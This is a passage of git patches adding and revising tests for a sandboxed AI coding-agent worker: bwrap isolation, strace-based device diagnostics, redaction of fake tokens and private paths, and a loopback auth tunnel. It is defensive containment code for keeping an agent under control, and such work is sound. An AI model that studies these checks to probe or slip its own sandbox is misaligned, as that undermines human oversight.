assertNativeMountSockets(nativeMounts, route.origin,keeper); } diff --git a/tests/fixtures/autonomous-containment-probe.ts b/tests/fixtures/autonomous-containment-probe.ts index 69912b7b66..2a3d78d99c 100644 --- a/tests/fixtures/autonomous-containment-probe.ts +++ b/tests/fixtures/autonomous-containment-probe.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "../../scripts/test-deadlines"; import "../../scripts/test-network-child-preload.ts"; +import { watchdogMs } from "../../scripts/test-deadlines"; import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; import { spyOn } from "bun:test"; import * as startup from "../../packages/ui-sdk/src/server/worker-startup-view.js"; diff --git a/tests/fixtures/autonomous-runtime-probe.ts b/tests/fixtures/autonomous-runtime-probe.ts index e78dec4a4b..326ad98137 100644 --- a/tests/fixtures/autonomous-runtime-probe.ts +++ b/tests/fixtures/autonomous-runtime-probe.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "../../scripts/test-deadlines"; import "../../scripts/test-network-child-preload.ts"; +import { watchdogMs } from "../../scripts/test-deadlines"; import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; import { createFixtureTurnHost } from "./turn-host-fixture.js"; import { startFixtureTurn } from "./worker-input-fixture.js"; diff --git a/tests/fixtures/claude-worker-probe.ts b/tests/fixtures/claude-worker-probe.ts index 10d7dbc6a3..d141853d9d 100644 --- a/tests/fixtures/claude-worker-probe.ts +++ b/tests/fixtures/claude-worker-probe.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "../../scripts/test-deadlines"; import "../../scripts/test-network-child-preload.ts"; +import { watchdogMs } from "../../scripts/test-deadlines"; import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; import { createFixtureTurnHost } from "./turn-host-fixture.js"; /** Actual ordinary adapter and server bridge behind kernel loopback isolation. */ diff --git a/tests/fixtures/policy-boundary-probe.ts b/tests/fixtures/policy-boundary-probe.ts index 18afeba833..06fceed2a0 100644 --- a/tests/fixtures/policy-boundary-probe.ts +++ b/tests/fixtures/policy-boundary-probe.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "../../scripts/test-deadlines"; import "../../scripts/test-network-child-preload.ts"; +import { watchdogMs } from "../../scripts/test-deadlines"; import {nativeScriptedService} from "../../scripts/test-native-guard.ts"; import { createFixtureTurnHost } from "./turn-host-fixture.js"; import { replaceNativeStartupAcquisitionForFixture } from "../../packages/ui-server/tests/helpers/fixture-native-startup.js"; diff --git a/tests/native-device-diagnostics.test.ts b/tests/native-device-diagnostics.test.ts index 7bd456737b..462e60ae2e 100644 --- a/tests/native-device-diagnostics.test.ts +++ b/tests/native-device-diagnostics.test.ts @@ -2,7 +2,7 @@ import { expect,test } from "bun:test"; import { mkdtempSync,readFileSync,rmSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; -import { nativeDeviceMetadata,nativeDeviceMetadataCommand } from "../scripts/native-device-diagnostics"; +import { nativeDeviceMetadata,nativeDeviceMetadataCommand,nativeStartupOpenStages } from "../scripts/native-device-diagnostics"; test("device metadata is collected by the harmless payload inside its actual view",async()=>{ const root=mkdtempSync(join(tmpdir(),"odysseus-device-metadata-")); try{ @@ -20,3 +20,21 @@ test("device metadata cannot retain host paths or arbitrary syscall content",()= const trace='1 newfstatat(AT_FDCWD, "/home/private-owner/secret", {st_mode=S_IFDIR|0700, st_uid=1000, st_gid=1000}, 0) = 0\n2 newfstatat(AT_FDCWD, "/dev/urandom", {st_mode=S_IFCHR|0666, st_uid=21002, st_gid=21002, private="TOKEN=secret"}, 0) = 0\n3 newfstatat(AT_FDCWD, "/dev", 0x1, 0) = -1 EACCES (Permission denied)'; expect(nativeDeviceMetadata(trace),"DEVICE_METADATA_FIXED_FIELDS_ONLY").toEqual([{device:"urandom",mode:0o666,uid:21002,gid:21002},{device:"dev",error:"EACCES"}]); }); + +test("startup open evidence distinguishes wrapper and native payload without paths",()=>{ + const trace='4 execve("/runtime/bun", ["bun"], 0x0) = 0\n4 openat(AT_FDCWD, "/dev/urandom", O_RDONLY) = -1 EACCES (Permission denied)\n4 clone(child_stack=NULL, flags=SIGCHLD) = 5\n5 execve("/runtime/claude", ["claude"], 0x0) = 0\n5 openat(AT_FDCWD, "/dev/fd/2", O_RDONLY) = -1 EPERM (Operation not permitted)'; + expect(nativeStartupOpenStages(trace,["/runtime/claude"],"/runtime/bun"),"STARTUP_OPEN_EXEC_STAGE").toEqual([{stage:"wrapper",execPosition:1,device:"urandom",error:"EACCES"},{stage:"payload",execPosition:2,device:"fd/2",error:"EPERM"}]); +}); +test("real worker diagnostic plan stats devices before the trusted Bun wrapper starts",async()=>{ + const {nativeDiagnosticWorkerPayload,nativeWorkerPayloadCommand}=await import("../scripts/test-native-guard"); + const root=mkdtempSync(join(tmpdir(),"odysseus-device-wrapper-"));const socket=join(root,"proxy.sock"); + const server=Bun.listen({unix:socket,socket:{data(){}}}); + try{ + const entry=join(import.meta.dir,"../packages/ui-sdk/src/server/egress-worker-entry.ts"),payload=["/usr/bin/true"],log=join(root,"trace"); + const command=nativeDiagnosticWorkerPayload(nativeWorkerPayloadCommand([process.execPath,entry,...payload],payload,args=>args),true); + const child=Bun.spawn([Bun.which("strace")!,"-f","-qq","-e","trace=newfstatat,execve","-e","abbrev=!newfstatat,statx","-o",log,"--","bwrap","--unshare-user","--uid","21002","--gid","21002","--unshare-net","--ro-bind","/","/","--tmpfs","/run","--dir","/run/brain-egress","--ro-bind",socket,"/run/brain-egress/proxy.sock","--dev","/dev","--",...command],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); + const [code,err]=await Promise.all([child.exited,new Response(child.stderr).text()]);expect(code,err).toBe(0); + const trace=readFileSync(log,"utf8"),metadata=nativeDeviceMetadata(trace);expect(metadata.map(v=>v.device),"DEVICE_STATS_PRECEDE_WRAPPER").toEqual(["dev","urandom"]); + expect(trace.indexOf('"/dev/urandom", {')).toBeLessThan(trace.indexOf('execve('+JSON.stringify(process.execPath))); + }finally{server.stop();rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/native-direct-transport.test.ts b/tests/native-direct-transport.test.ts new file mode 100644 index 0000000000..f8d0c1aca5 --- /dev/null +++ b/tests/native-direct-transport.test.ts @@ -0,0 +1,28 @@ +import {expect,test} from "bun:test"; +import {mkdtempSync,rmSync,statSync} from "node:fs"; +import {join} from "node:path"; +import {tmpdir} from "node:os"; +import {watchdogMs} from "../scripts/test-deadlines"; +import {compileSocketPolicy,nativeTestHead,nativeDirectTransportCommand,nativeDirectTransportEnvironment,nativeScriptedService,startNativeTurnProxyTunnel,nativeTurnProxyArguments,WORKER_TURN_PROXY} from "../scripts/test-native-guard"; + +test("direct native plans preserve product authentication without injecting socket login",()=>{ + const product={ANTHROPIC_BASE_URL:"http://127.0.0.1:1234",ANTHROPIC_API_KEY:"fixture-key",CLAUDE_CODE_OAUTH_TOKEN:"fixture-oauth"}; + const direct={...product,...nativeDirectTransportEnvironment(product,false)}; + expect(direct,"DIRECT_QUERY_AUTH_ENV_UNCHANGED").toEqual({...product,ANTHROPIC_BASE_URL:"http://127.0.0.1"}); + expect(direct,"DIRECT_QUERY_HAS_NO_SOCKET_LOGIN").not.toHaveProperty("ANTHROPIC_UNIX_SOCKET"); + expect(nativeDirectTransportEnvironment({...product,ANTHROPIC_UNIX_SOCKET:"/admitted/relay.sock"},true)).toEqual({ANTHROPIC_BASE_URL:"http://localhost",ANTHROPIC_UNIX_SOCKET:"/tmp/native-relay/relay.sock"}); +}); + +test("direct pinned transport delivers native headers unchanged through private loopback and Unix tunnel",async()=>{ + const root=mkdtempSync(join(tmpdir(),"odysseus-direct-transport-")),seen:Array<{key:string|null;auth:string|null;path:string}>=[]; + const recorder=Bun.serve({hostname:"127.0.0.1",port:0,fetch(req){seen.push({key:req.headers.get("x-api-key"),auth:req.headers.get("authorization"),path:new URL(req.url).pathname});return new Response("Ithaca");}}); + const origin=recorder.url.origin,leave=nativeScriptedService(origin,{fixtureRoots:[root]}),tunnel=startNativeTurnProxyTunnel(origin,root); + try{ + const policy=compileSocketPolicy(),info=statSync(tunnel.socket,{bigint:true}); + const code='import os,http.client,urllib.parse\nassert "ANTHROPIC_UNIX_SOCKET" not in os.environ,"DIRECT_QUERY_HAS_NO_SOCKET_LOGIN"\nu=urllib.parse.urlsplit(os.environ["ANTHROPIC_BASE_URL"])\nassert u.hostname=="127.0.0.1" and u.port\nc=http.client.HTTPConnection(u.hostname,u.port);c.request("POST","/v1/messages",body="{}",headers={"x-api-key":"odysseus-helper-key","authorization":"Bearer odysseus-oauth"});r=c.getresponse();assert r.read()==b"Ithaca";assert r.status==200\nprint("DIRECT_HEADERS_UNCHANGED")'; + const payload=nativeDirectTransportCommand(["/usr/bin/python3","-I","-S","-c",code]); + const child=Bun.spawn(["bwrap","--unshare-user","--unshare-net","--unshare-pid","--die-with-parent","--ro-bind","/","/","--tmpfs","/run","--dir","/run/brain-egress","--ro-bind",tunnel.socket,WORKER_TURN_PROXY,"--proc","/proc","--dev","/dev","--",process.execPath,join(import.meta.dir,"../packages/ui-sdk/src/server/egress-worker-entry.ts"),"--direct-loopback",policy,"--head",nativeTestHead(),"--socket",tunnel.socket,"--device",String(info.dev),"--inode",String(info.ino),"--allowed",tunnel.socket,...nativeTurnProxyArguments(tunnel.socket,WORKER_TURN_PROXY),"--",...payload],{env:{PATH:"/usr/bin:/bin",...nativeDirectTransportEnvironment({},false)},stdin:"ignore",stdout:"pipe",stderr:"pipe",timeout:watchdogMs(10000)}); + const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(exit,"DIRECT_HEADERS_UNCHANGED "+err).toBe(0);expect(out).toContain("DIRECT_HEADERS_UNCHANGED");expect(seen).toEqual([{key:"odysseus-helper-key",auth:"Bearer odysseus-oauth",path:"/v1/messages"}]); + }finally{tunnel.dispose();leave();recorder.stop(true);rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/native-rtk-adapter.test.ts b/tests/native-rtk-adapter.test.ts index 80ea5de599..0af7a7e23c 100644 --- a/tests/native-rtk-adapter.test.ts +++ b/tests/native-rtk-adapter.test.ts @@ -17,6 +17,7 @@ import {recordNativeGuardChild,observeNativeFixtureRtkSpawn,registerNativeFixtur import {rewriteWorkerRtk} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-rtk.ts"))}; await enterMeasurementRtkView(); const python=fs.realpathSync("/usr/bin/python3"); +const selectedAliasRoot=fs.mkdtempSync("/tmp/odysseus-selected-runtime-");const selectedAlias=selectedAliasRoot+"/python";fs.symlinkSync(python,selectedAlias); const source='import ctypes,subprocess,sys,json\\nctypes.CDLL(None).prctl(4,0,0,0,0)\\nchildren=[subprocess.Popen([sys.executable,"-I","-S","-c","import time;time.sleep(30)"]) for _ in range(2)]\\nprint(json.dumps([p.pid for p in children]),flush=True)\\nsys.stdin.readline()\\nfor p in children: p.terminate();p.wait()'; const env={PATH:"/usr/local/bin:/usr/bin:/bin",HOME:"/nonexistent"}; const child=Bun.spawn([python,"-I","-S","-c",source],{env,stdin:"pipe",stdout:"pipe",stderr:"pipe"}); @@ -30,6 +31,7 @@ try{ const outcomes=[]; function refuses(label,fn){let refused=false;try{fn();}catch{refused=true;}if(!refused)throw Error(label);outcomes.push(label);} refuses("UNREGISTERED_ROOT",()=>observeNativeFixtureRtkSpawn(process.pid,launch,[python],()=>new Map())); + refuses("AMBIGUOUS_SELECTED_RUNTIME",()=>observeNativeFixtureRtkSpawn(child.pid,launch,[python,"/usr/bin/true"],()=>new Map())); observeNativeFixtureRtkSpawn(child.pid,launch,[python],()=>new Map()); refuses("MISSING_PAYLOAD",()=>registerNativeFixtureRtk(worker)); observeNativeFixtureRtkSpawn(child.pid,launch,[python],()=>new Map(pids.map(pid=>[pid,start(pid)]))); @@ -44,16 +46,17 @@ try{ try{refuses("REUSED_ROOT",()=>registerNativeFixtureRtk(worker));}finally{spy.mockRestore();} // The non-dumpable supervisor remains unreadable; only its proven child is admitted. refuses("BROKER_STAYS_NONDUMPABLE",()=>fs.readFileSync('/proc/'+child.pid+'/environ')); + observeNativeFixtureRtkSpawn(child.pid,launch,[selectedAlias],()=>new Map([[pids[0],start(pids[0])]])); registerNativeFixtureRtk(worker); launch.env.PATH="/unregistered"; const rewritten=await rewriteWorkerRtk(worker,"touch /tmp/brain-worker-scratch/original"); if(rewritten!=="touch /tmp/brain-worker-scratch/rewritten")throw Error("OWNED_PAYLOAD_REWRITES_WITH_ORIGINAL_LAUNCH: "+rewritten); outcomes.push("OWNED_PAYLOAD_REWRITES_WITH_ORIGINAL_LAUNCH");console.log(JSON.stringify(outcomes)); -}finally{child.stdin.end("done\\n");await child.exited;} +}finally{child.stdin.end("done\\n");await child.exited;fs.rmSync(selectedAliasRoot,{recursive:true,force:true});} `); const child=Bun.spawn([process.execPath,script],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:watchdogMs(20000)}); const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); expect(code,"OWNED_RTK_ADAPTER "+err).toBe(0); - expect(JSON.parse(out.trim())).toEqual(["UNREGISTERED_ROOT","MISSING_PAYLOAD","AMBIGUOUS_PAYLOAD_NOT_FIRST_DESCENDANT","WRONG_EXECUTABLE","REUSED_PAYLOAD","REUSED_ROOT","BROKER_STAYS_NONDUMPABLE","OWNED_PAYLOAD_REWRITES_WITH_ORIGINAL_LAUNCH"]); + expect(JSON.parse(out.trim())).toEqual(["UNREGISTERED_ROOT","AMBIGUOUS_SELECTED_RUNTIME","MISSING_PAYLOAD","AMBIGUOUS_PAYLOAD_NOT_FIRST_DESCENDANT","WRONG_EXECUTABLE","REUSED_PAYLOAD","REUSED_ROOT","BROKER_STAYS_NONDUMPABLE","OWNED_PAYLOAD_REWRITES_WITH_ORIGINAL_LAUNCH"]); }finally{rmSync(directory,{recursive:true,force:true});} },watchdogMs(30000)); diff --git a/tests/native-rtk-diagnostics.test.ts b/tests/native-rtk-diagnostics.test.ts index 6b54059352..6896d9d32d 100644 --- a/tests/native-rtk-diagnostics.test.ts +++ b/tests/native-rtk-diagnostics.test.ts @@ -1,6 +1,6 @@ import { expect,test } from "bun:test"; import { join } from "node:path"; -import { nativeRtkFailureCategory } from "../scripts/native-rtk-diagnostics"; +import { nativeRtkFailureCategory,nativeRtkExecutableLabel } from "../scripts/native-rtk-diagnostics"; import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; const cases={"no-owned-match":"native fixture RTK payload missing","multiple-match":"native fixture RTK payload ambiguous","start-mismatch":"native fixture RTK audited identity changed","exe-mismatch":"native fixture RTK executable changed","launch-mismatch":"native fixture RTK spawn is unregistered","register-refused":"unrecognized adapter failure"}; for(const [category,message] of Object.entries(cases))test(`RTK diagnostic emits ${category} and rethrows`,async()=>{ @@ -8,7 +8,7 @@ for(const [category,message] of Object.entries(cases))test(`RTK diagnostic emits const child=spawnGuardFixture([process.execPath,"-e",`import {diagnoseNativeFixtureRtk} from ${JSON.stringify(module)};const original=Error(${JSON.stringify(message)});let caught;try{diagnoseNativeFixtureRtk(()=>{throw original;});}catch(error){caught=error;}if(caught!==original)throw Error("RTK_REFUSAL_MUST_RETHROW");`]); const [code,out]=await Promise.all([child.exited,child.guardOutput()]);expect(code,out).toBe(0); const record=JSON.parse(out.split("\n").find(line=>line.startsWith('{"kind":"native-fixture-rtk-registration"'))!); - expect(record).toMatchObject({success:false,category});expect(Object.keys(record).sort()).toEqual(["kind","head","success","category"].sort()); + expect(record).toMatchObject({success:false,category});expect(Object.keys(record).sort()).toEqual(["kind","head","success","category",...(category==="exe-mismatch"?["executableLabel"]:[])].sort()); }); test("RTK diagnostic categories cannot carry arbitrary private text",()=>{ for(const error of [Error("/home/private-owner/secret TOKEN=private-value https://ithaca.invalid"),"private-value",{message:"native fixture RTK executable changed"}])expect(nativeRtkFailureCategory(error),"RTK_CATEGORY_IS_FIXED_AND_SCRUBBED").toBe("register-refused"); @@ -19,3 +19,9 @@ test("measurement fixture records its adapter refusal before rethrowing",async() const child=spawnGuardFixture([process.execPath,"-e",`import {mkdtempSync,rmSync} from "node:fs";import {createMeasurementWorkerFixture} from ${JSON.stringify(fixture)};const brain=mkdtempSync("/tmp/odysseus-rtk-refusal-");const fixture=createMeasurementWorkerFixture(brain);let refused=false;try{fixture.qualifyRtk();}catch{refused=true;}finally{fixture.cleanup();rmSync(brain,{recursive:true,force:true});}if(!refused)throw Error("FIXTURE_RTK_REFUSAL_MUST_PROPAGATE");`]); const [code,out]=await Promise.all([child.exited,child.guardOutput()]);expect(code,out).toBe(0);expect(out,"MEASUREMENT_RTK_REFUSAL_IS_OBSERVABLE").toContain('"category":"launch-mismatch"'); }); + +test("RTK executable labels retain only fixed mismatch predicates",()=>{ + for(const label of ["basename-equal-but-path-differs","different-basename","unavailable"])expect(nativeRtkExecutableLabel(Error("native fixture RTK executable changed",{cause:label}))).toBe(label); + expect(nativeRtkExecutableLabel(Error("native fixture RTK executable changed",{cause:"/home/private-owner/runtime"}))).toBe("unavailable"); + expect(nativeRtkExecutableLabel(Error("other",{cause:"different-basename"}))).toBeUndefined(); +}); diff --git a/tests/test-determinism.test.ts b/tests/test-determinism.test.ts index 81f04d9d9f..8d821d706e 100644 --- a/tests/test-determinism.test.ts +++ b/tests/test-determinism.test.ts @@ -17,7 +17,7 @@ import singleFileRuns from "./fixtures/determinism-single-file-runs.json"; const ROOT = join(import.meta.dir, ".."); // The wrapper, its preload and what they import, as tests/experiment-tier.test.ts copies them. const SCRIPTS = ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", - "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs", + "native-test-receipts.ts", "native-device-diagnostics.ts", "native-rtk-diagnostics.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs", "test-determinism.ts", "determinism-plan.ts", "proof-shards.ts", "test-deadlines.ts", "test-deadline-preload.ts"]; const scratch: string[] = []; From 9144f389cc6ffb4f544b6c949901cf04ac110c07 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 17:02:58 +0000 Subject: [PATCH 079/187] test: retain startup stage across resumed exec records --- scripts/native-device-diagnostics.ts | 5 ++++- tests/native-device-diagnostics.test.ts | 2 ++ 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/scripts/native-device-diagnostics.ts b/scripts/native-device-diagnostics.ts index 8fad4f60c1..cda40da384 100644 --- a/scripts/native-device-diagnostics.ts +++ b/scripts/native-device-diagnostics.ts @@ -17,10 +17,13 @@ export function nativeDeviceMetadata(trace:string):Array { + const pendingExec=new Map(); const states=new Map();const records:Array<{stage:string;execPosition:number;device:string;error:string}>=[]; for(const line of trace.split("\n")){ const exec=/^\s*(\d+)\s+execve\(("(?:\\.|[^"\\])*"),/.exec(line); - if(exec&&/= 0$/.test(line)){let path:string;try{path=JSON.parse(exec[2]!);}catch{continue;}const previous=states.get(Number(exec[1]));states.set(Number(exec[1]),{stage:expected.includes(path)?"payload":path===wrapper?"wrapper":"bootstrap",execPosition:(previous?.execPosition??0)+1});} + if(exec){try{pendingExec.set(Number(exec[1]),JSON.parse(exec[2]!));}catch{continue;}} + const resumed=/^\s*(\d+)\s+<\.\.\. execve resumed>/.exec(line),pid=exec?Number(exec[1]):resumed?Number(resumed[1]):undefined; + if(pid!==undefined&&/= 0$/.test(line)){const path=pendingExec.get(pid);if(path){const previous=states.get(pid);states.set(pid,{stage:expected.includes(path)?"payload":path===wrapper?"wrapper":"bootstrap",execPosition:(previous?.execPosition??0)+1});}pendingExec.delete(pid);} const fork=/^\s*(\d+)\s+(?:clone3?|fork|vfork)\(.*\)\s+= (\d+)$/.exec(line); if(fork){const state=states.get(Number(fork[1]));if(state)states.set(Number(fork[2]),{...state});} const failed=/^\s*(\d+)\s+open(?:at2?)?\(.*?"(\/dev\/(?:stdin|stdout|stderr|null|urandom|tty|fd\/\d+|pts\/\d+|shm\/[^"/]+))".*= -1 (EACCES|EPERM)\b/.exec(line); diff --git a/tests/native-device-diagnostics.test.ts b/tests/native-device-diagnostics.test.ts index 462e60ae2e..a98e0b7299 100644 --- a/tests/native-device-diagnostics.test.ts +++ b/tests/native-device-diagnostics.test.ts @@ -24,6 +24,8 @@ test("device metadata cannot retain host paths or arbitrary syscall content",()= test("startup open evidence distinguishes wrapper and native payload without paths",()=>{ const trace='4 execve("/runtime/bun", ["bun"], 0x0) = 0\n4 openat(AT_FDCWD, "/dev/urandom", O_RDONLY) = -1 EACCES (Permission denied)\n4 clone(child_stack=NULL, flags=SIGCHLD) = 5\n5 execve("/runtime/claude", ["claude"], 0x0) = 0\n5 openat(AT_FDCWD, "/dev/fd/2", O_RDONLY) = -1 EPERM (Operation not permitted)'; expect(nativeStartupOpenStages(trace,["/runtime/claude"],"/runtime/bun"),"STARTUP_OPEN_EXEC_STAGE").toEqual([{stage:"wrapper",execPosition:1,device:"urandom",error:"EACCES"},{stage:"payload",execPosition:2,device:"fd/2",error:"EPERM"}]); + const resumed=trace.replace('4 execve("/runtime/bun", ["bun"], 0x0) = 0','4 execve("/runtime/bun", ["bun"], 0x0 \n4 <... execve resumed>) = 0'); + expect(nativeStartupOpenStages(resumed,["/runtime/claude"],"/runtime/bun"),"RESUMED_EXEC_STAGE_IS_RETAINED").toEqual(nativeStartupOpenStages(trace,["/runtime/claude"],"/runtime/bun")); }); test("real worker diagnostic plan stats devices before the trusted Bun wrapper starts",async()=>{ const {nativeDiagnosticWorkerPayload,nativeWorkerPayloadCommand}=await import("../scripts/test-native-guard"); From dc9e30e94092a8dcfa3135cf413f61a4c74bde9f Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 17:06:33 +0000 Subject: [PATCH 080/187] test: classify configured native deadlines by exercised outcome --- packages/ui-server/tests/helpers/scope-fixture.ts | 2 +- scripts/native-device-diagnostics.ts | 2 +- scripts/native-proof/reference-integration.native.ts | 2 +- scripts/native-proof/reference-pool.native.ts | 4 ++-- scripts/turn-surface-overlap.ts | 3 ++- tests/fixtures/claude-worker-probe.ts | 2 +- tests/fixtures/policy-boundary-probe.ts | 2 +- tests/helpers/native-timeout-inventory.ts | 2 +- tests/native-timeout-inventory.test.ts | 4 ++-- 9 files changed, 12 insertions(+), 11 deletions(-) diff --git a/packages/ui-server/tests/helpers/scope-fixture.ts b/packages/ui-server/tests/helpers/scope-fixture.ts index e9373f36de..d8273c059c 100644 --- a/packages/ui-server/tests/helpers/scope-fixture.ts +++ b/packages/ui-server/tests/helpers/scope-fixture.ts @@ -19,7 +19,7 @@ export function scopeFixture(overrides: { max_tool_calls?: number; max_files_cha const policy = resolveGovernancePolicy({ schema_version: 1, scope: overrides }); async function begin(origin: "interactive" | "voice" = "interactive") { await journal.begin("voyage", { sessionId: "ithaca", actor: origin, model: null, profile: "governed", policyHash: null }, error => { current = false; stopped = error.message; }); - scope.begin("voyage", { sessionId: "ithaca", principalId: "athena", origin, profile: "governed", policy, source: "policy", hardTimeoutMs: 60 * 60_000, + scope.begin("voyage", { sessionId: "ithaca", principalId: "athena", origin, profile: "governed", policy, source: "policy", hardTimeoutMs: /* native-product-timing: Governance scope grants a one-hour lease, beyond the suite cap; scope.begin fixtures do not reach expiry. */ 60 * 60_000, current: () => current, stop: reason => { current = false; stopped = reason; } }); } const receipt = (): ScopeCapReceipt => journal.summary("voyage").scope!.receipts.at(-1)!; diff --git a/scripts/native-device-diagnostics.ts b/scripts/native-device-diagnostics.ts index cda40da384..3c251de66e 100644 --- a/scripts/native-device-diagnostics.ts +++ b/scripts/native-device-diagnostics.ts @@ -23,7 +23,7 @@ export function nativeStartupOpenStages(trace:string,expected:readonly string[], const exec=/^\s*(\d+)\s+execve\(("(?:\\.|[^"\\])*"),/.exec(line); if(exec){try{pendingExec.set(Number(exec[1]),JSON.parse(exec[2]!));}catch{continue;}} const resumed=/^\s*(\d+)\s+<\.\.\. execve resumed>/.exec(line),pid=exec?Number(exec[1]):resumed?Number(resumed[1]):undefined; - if(pid!==undefined&&/= 0$/.test(line)){const path=pendingExec.get(pid);if(path){const previous=states.get(pid);states.set(pid,{stage:expected.includes(path)?"payload":path===wrapper?"wrapper":"bootstrap",execPosition:(previous?.execPosition??0)+1});}pendingExec.delete(pid);} + if(pid!==undefined&&line.endsWith("= 0")){const path=pendingExec.get(pid);if(path){const previous=states.get(pid);states.set(pid,{stage:expected.includes(path)?"payload":path===wrapper?"wrapper":"bootstrap",execPosition:(previous?.execPosition??0)+1});}pendingExec.delete(pid);} const fork=/^\s*(\d+)\s+(?:clone3?|fork|vfork)\(.*\)\s+= (\d+)$/.exec(line); if(fork){const state=states.get(Number(fork[1]));if(state)states.set(Number(fork[2]),{...state});} const failed=/^\s*(\d+)\s+open(?:at2?)?\(.*?"(\/dev\/(?:stdin|stdout|stderr|null|urandom|tty|fd\/\d+|pts\/\d+|shm\/[^"/]+))".*= -1 (EACCES|EPERM)\b/.exec(line); diff --git a/scripts/native-proof/reference-integration.native.ts b/scripts/native-proof/reference-integration.native.ts index 0951c80072..70878c6fdd 100644 --- a/scripts/native-proof/reference-integration.native.ts +++ b/scripts/native-proof/reference-integration.native.ts @@ -137,7 +137,7 @@ const staging = hostOutputStagingLimits({}); const socket = "/native-runtime/manager.sock"; const service = await serveNativeBrainManager({ storePath: "/brain-fixture", devicePath: "/dev/brain-store-loop", fsid: fsid("/brain-fixture"), brainUuid: subvolUuid(brain), socketPath: socket, appUid: APP_UID, appGid: APP_UID, stageAllowanceBytes: staging.allowanceBytes, stageBudgetBytes: staging.budgetBytes, - capacityBytes: 4 * 1024 ** 3, recoveryReserveBytes: 16 * MIB, operationTimeoutMs: 20_000, + capacityBytes: 4 * 1024 ** 3, recoveryReserveBytes: 16 * MIB, operationTimeoutMs: /* native-hang-guard: Successful native manager integration operations; timeout outcome is not exercised. */ watchdogMs(20_000), referencePool: { storePath: POOL, devicePath: "/dev/brain-pool-loop", fsid: fsid(POOL), combinedLimitBytes: 256 * MIB, operationLimitBytes: 32 * MIB, emergencyBytes: 4 * MIB, physicalFloorBytes: 64 * MIB, headroomLedgerPath: "/native-backing/ledger/headroom.json", maxIdentities: 256 } }); const manager = createNativeBrainManagerClient({ socketPath: socket, timeoutMs: watchdogMs(20_000) }); diff --git a/scripts/native-proof/reference-pool.native.ts b/scripts/native-proof/reference-pool.native.ts index cd2f89b8f4..e2aa9d0238 100644 --- a/scripts/native-proof/reference-pool.native.ts +++ b/scripts/native-proof/reference-pool.native.ts @@ -33,7 +33,7 @@ const subvolUuid = (path: string) => command(["/usr/bin/python3", "-I", "-S", "- mkdirSync("/native-runtime", { mode: 0o755 }); const config: NativeBrainManagerConfig = { storePath: "/brain-fixture", devicePath: "/dev/brain-store-loop", fsid: fsid("/brain-fixture"), brainUuid: subvolUuid("/brain-fixture/brain"), - socketPath: "/native-runtime/pool.sock", appGid: 1000, capacityBytes: 1024 ** 3, recoveryReserveBytes: 8 * MIB, operationTimeoutMs: 20_000, + socketPath: "/native-runtime/pool.sock", appGid: 1000, capacityBytes: 1024 ** 3, recoveryReserveBytes: 8 * MIB, operationTimeoutMs: /* native-hang-guard: Successful reference pool operations; the held-deletion deadline has a separate fixed budget. */ watchdogMs(20_000), referencePool: { storePath: POOL, devicePath: "/dev/brain-pool-loop", fsid: fsid(POOL), combinedLimitBytes: 256 * MIB, operationLimitBytes: 32 * MIB, emergencyBytes: 4 * MIB, physicalFloorBytes: 64 * MIB, headroomLedgerPath: LEDGER, maxIdentities: 256 }, }; @@ -262,7 +262,7 @@ const shapes = await create("staging", 32 * MIB); // 9. Deletion with an open hold stays charged through its deadline. { - manager = await restart({ operationTimeoutMs: 4_000 }); + manager = await restart({ operationTimeoutMs: /* native-product-timing: Fixed deletion timeout exercised by REFERENCE_POOL_HOLD_UNKNOWN_OUTCOME and REFERENCE_POOL_HOLD_STAYS_CHARGED. */ 4_000 }); const held = await create("worktree", 8 * MIB); fill(join(held.path!, "rope.bin"), 4 * MIB); const holder = Bun.spawn(["/usr/bin/python3", "-I", "-S", "-c", "import os,sys,time\nfd=os.open(sys.argv[1],os.O_RDONLY)\nprint('held',flush=True)\ntime.sleep(60)", join(held.path!, "rope.bin")], { stdout: "pipe" }); diff --git a/scripts/turn-surface-overlap.ts b/scripts/turn-surface-overlap.ts index ace70458d8..456c278b85 100644 --- a/scripts/turn-surface-overlap.ts +++ b/scripts/turn-surface-overlap.ts @@ -1,4 +1,5 @@ import "./measurement-entry-preload.ts"; +import {watchdogMs} from "./test-deadlines"; /** Private #587 experiment: overlap installed-CLI startup with a bounded router. * MCP listing waits for the decision; claim discovers the fixture's project * skills after any diagnostic pruning. All arms use the same startup path. @@ -83,7 +84,7 @@ export async function startOverlappedTurn(params: { return hint ? { hookSpecificOutput: { hookEventName: "UserPromptSubmit", additionalContext: hint } } : {}; }] }] }, }; - const warming = prewarm({ options, initializeTimeoutMs: 30_000 }); + const warming = prewarm({ options, initializeTimeoutMs: watchdogMs(30_000) }); void warming.catch(() => {}); let spare: SpareProcess | undefined; try { diff --git a/tests/fixtures/claude-worker-probe.ts b/tests/fixtures/claude-worker-probe.ts index d141853d9d..348fe4636c 100644 --- a/tests/fixtures/claude-worker-probe.ts +++ b/tests/fixtures/claude-worker-probe.ts @@ -126,7 +126,7 @@ if (scenario === "abort") backend.startTurn = request => startTurn({ ...request, request.workerStarted?.(worker); } }); const nativeHost = 